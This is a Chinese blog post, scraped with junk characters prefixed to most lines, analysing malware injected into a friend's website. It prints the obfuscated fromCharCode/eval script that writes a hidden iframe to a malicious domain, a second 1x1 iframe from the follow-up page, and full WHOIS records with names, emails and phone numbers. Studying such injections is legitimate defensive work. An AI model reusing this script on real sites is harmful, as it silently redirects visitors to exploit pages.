首发在我的博客里面，
OV<'v%_& a 3t[Tk; http://www.areway.cn/?p=175 f(}?Sp_ }HdibCAOf sfb)iH|sW 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
WdQR^'b$ /2 V <script>t=’60,105,102,114,97,109,101,
ft | W 32,115,114,99,61,104,116,116,112,58,47,47,
N %;bV@A9 102,114,101,101,46,117,45,117,117,117,46,99,
3zC<k2B 110,47,101,114,114,111,114,46,104,116,109,
1 Hw %DJ 32,119,105,100,116,104,61,49,48,48,32,104,
D(bQFRBY6" 101,105,103,104,116,61,48,62,60,47,105,102,
ScN'|Ia.- 114,97,109,101,62′;
y Skz5K+|g t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
|HT5G=dw . W ~&d_n <script>t=’60,105,102,114,97,109,101,32,115,
HLYog+? 114,99,61,104,116,116,112,58,47,47,102,114,
CKB~&>xx 101,101,46,117,45,117,117,117,46,99,110,47,
/6Bm
<k% 101,114,114,111,114,46,104,116,109,32,119,
_x +)Tv 105,100,116,104,61,49,48,48,32,104,101,105,
L_@P fI 103,104,116,61,48,62,60,47,105,102,114,97,
"rHcsuSEw 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
MS7rD%(,' document.write(t);</script>
ut SW> ,)u1r3@I^ <html xmlns=”
l$1
] http://www.w3.org/1999/xhtml eMHBY6<~= “>
5t=7- <head>
zDD <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
~<Eu
@8+_ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
+f){x9
: <title>首页 - 爱生活家庭网
l % \p o5h *sQ9 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
fYgEia p 转换字符串后的大概内容是（谁点击后果自付）：
oy[>`qyz <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
S {d]0 %]"eN{Uvn 查询玉米u-uuu.cn的详细信息：
O su 75@3 Domain Name: u-uuu.cn
\&XtPQ ROID: 20070901s10001s64972306-cn
d ?6\ Domain Status: ok
! (H
RP9 Registrant Organization: 王雷
bJ!(co6t Registrant Name: 王雷
eeVz Oq( Administrative Email:
czlovexs@126.com j|-{*t{/x Sponsoring Registrar: 北京万网志成科技有限公司
5K# <VU*: Name Server:ns.yovole.com
tO}Y=kZa{ Name Server:ns1.yovole.com
mb GL)NI Registration Date: 2007-09-01 17:54
Y@ l>4q") Expiration Date: 2008-09-01 17:54
#Fkn-/nL 最后PING了一下地址 都没有什么….
Z,_EhEm vp|.x |@ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
x'iBEm <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
f^]^IXzXw. <script language=”javascript” src=”
-IE=?23Do? http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script -n"7G%$ M >
` p#u9M> 这个玉米应该有可能是木马作者的：
/Z1>3=G by foafau.info的详细信息：
{36QZV *P Access to INFO WHOIS information is provided to assist persons in
SdXAL determining the contents of a domain name registration record in the
U6IvN@
g Afilias registry database. The data in this record is provided by
fn3DoD+I Afilias Limited for informational purposes only, and Afilias does not
j
V'~ > guarantee its accuracy. This service is intended only for query-based
3kJ7aBiR< access. You agree that you will use this data only for lawful purposes
/St d6B* and that, under no circumstances will you use this data to: (a) allow,
t~V?p'a0ys enable, or otherwise support the transmission by e-mail, telephone, or
R+<M"LriR& facsimile of mass unsolicited, commercial advertising or solicitations
{fxytiH8 to entities other than the data recipient’s own existing customers; or
cnL@j_mb (b) enable high volume, automated, electronic processes that send
z^ Y4:^L~I queries or data to the systems of Registry Operator, a Registrar, or
O_P8OA#| Afilias except as reasonably necessary to register domain names or
)U +Pt98" modify existing registrations. All rights reserved. Afilias reserves
]L;X A j? the right to modify these terms at any time. By submitting this query,
mQ=nU you agree to abide by this policy.
xX~;
/e&, Domain ID:D22418703-LRMS
oTb4 T= Domain Name:FOAFAU.INFO
t@cImmh\T Created On:20-Nov-2007 16:05:42 UTC
*?R<gWCF Last Updated On:20-Nov-2007 16:05:44 UTC
BDcA_= ^R& Expiration Date:20-Nov-2008 16:05:42 UTC
{SwvUWOf" Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
YPmgR]=6 Status:CLIENT DELETE PROHIBITED
`{+aJ0<S Status:CLIENT RENEW PROHIBITED
"%dok @v Status:CLIENT TRANSFER PROHIBITED
%Hpz ^<` Status:CLIENT UPDATE PROHIBITED
u;/<uV3 Status:TRANSFER PROHIBITED
UEH+E&BCC Registrant ID:GODA-040110615
+`+r \*C5 Registrant Name:liu hong
]cP$aixd Registrant Organization:
Ixr#zt$T-G Registrant Street1:beijing
8?[#\KgH1 Registrant Street2:
BE,H`G #h Registrant Street3:
KF f6um Registrant City:beijing
HyJ&;4rf Registrant State/Province:
X0BB J( e Registrant Postal Code:100000
b\^9::oY Registrant Country:CN
q:3HU< Registrant Phone:+86.860108888777
dL |*#e Registrant Phone Ext.:
u;H5p\zAzz Registrant FAX:
0 ChdFf7 Registrant FAX Ext.:
h%!N!\ Registrant Email:bbbshiji@163.com
*K=Yrisz Admin ID:GODA-240110615
o WcBQ| Admin Name:liu hong
(6~~e$j Admin Organization:
gB}UzEj^< Admin Street1:beijing
ky{-NrK Admin Street2:
T)#eaz$4W Admin Street3:
Sj9NhtF]f Admin City:beijing
1ZRSeh Admin State/Province:
I>%@[h,+ Admin Postal Code:100000
[a\>"I\[ Admin Country:CN
j[&C6l+wH Admin Phone:+86.860108888777
l ArDOFl]x Admin Phone Ext.:
Fy-|E>@]D Admin FAX:
Qhsk09K_=4 Admin FAX Ext.:
F A #8 Admin Email:bbbshiji@163.com
) d"s6i Billing ID:GODA-340110615
.h@HAnmE Billing Name:liu hong
"&N1$$ Billing Organization:
93fClF|@ Billing Street1:beijing
1xt N3{c Billing Street2:
mIkc +X Billing Street3:
&+-]!^2o Billing City:beijing
2:Rxyg@' Billing State/Province:
F<|x_6a\ Billing Postal Code:100000
k5TPzm=y{ Billing Country:CN
.80L>0 Billing Phone:+86.860108888777
P4.snR Q Billing Phone Ext.:
Fc.1)yh . Billing FAX:
Hpq?I-g<^ Billing FAX Ext.:
i }}}x
Billing Email:bbbshiji@163.com
G,JK$j>*l
Tech ID:GODA-140110615
KvfZj Tech Name:liu hong
I iRII)
Tech Organization:
o7WK"E!pF' Tech Street1:beijing
`Wy8g?d;bn Tech Street2:
P},d`4Ty@ Tech Street3:
d@0& Tech City:beijing
Cec o^Mw Tech State/Province:
(v$$`z h Tech Postal Code:100000
- |j4u#z Tech Country:CN
s^Wh! :>r/ Tech Phone:+86.860108888777
$jtXN E? Tech Phone Ext.:
_Vf0MU;3f+ Tech FAX:
( R0>0f@ Tech FAX Ext.:
|m /XGr Tech Email:bbbshiji@163.com
Vs~!\<? Name Server:NS27.DOMAINCONTROL.COM
^lCQHz Name Server:NS28.DOMAINCONTROL.COM
/ pOK4" Name Server:
T{Rh n V1 Name Server:
"f-z3kL Name Server:
I]OVzM Name Server:
1} h''p Name Server:
1xF< c < Name Server:
f*Dy>sw Name Server:
UM QsYD) Name Server:
tW#=St0<.o Name Server:
!;ipLC;e} Name Server:
e-.s63hm Name Server:
K
oF4e:2> 8>y!=+9_ 接着下载每个文件里面的代码：
(hv>vfY@ 一步一步看..
84uHK)h<% 
i9%cpPrg8 
[#hoW"'Q9 
@3@oaa/v 
y wS2` ( 
#0wH. \79 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
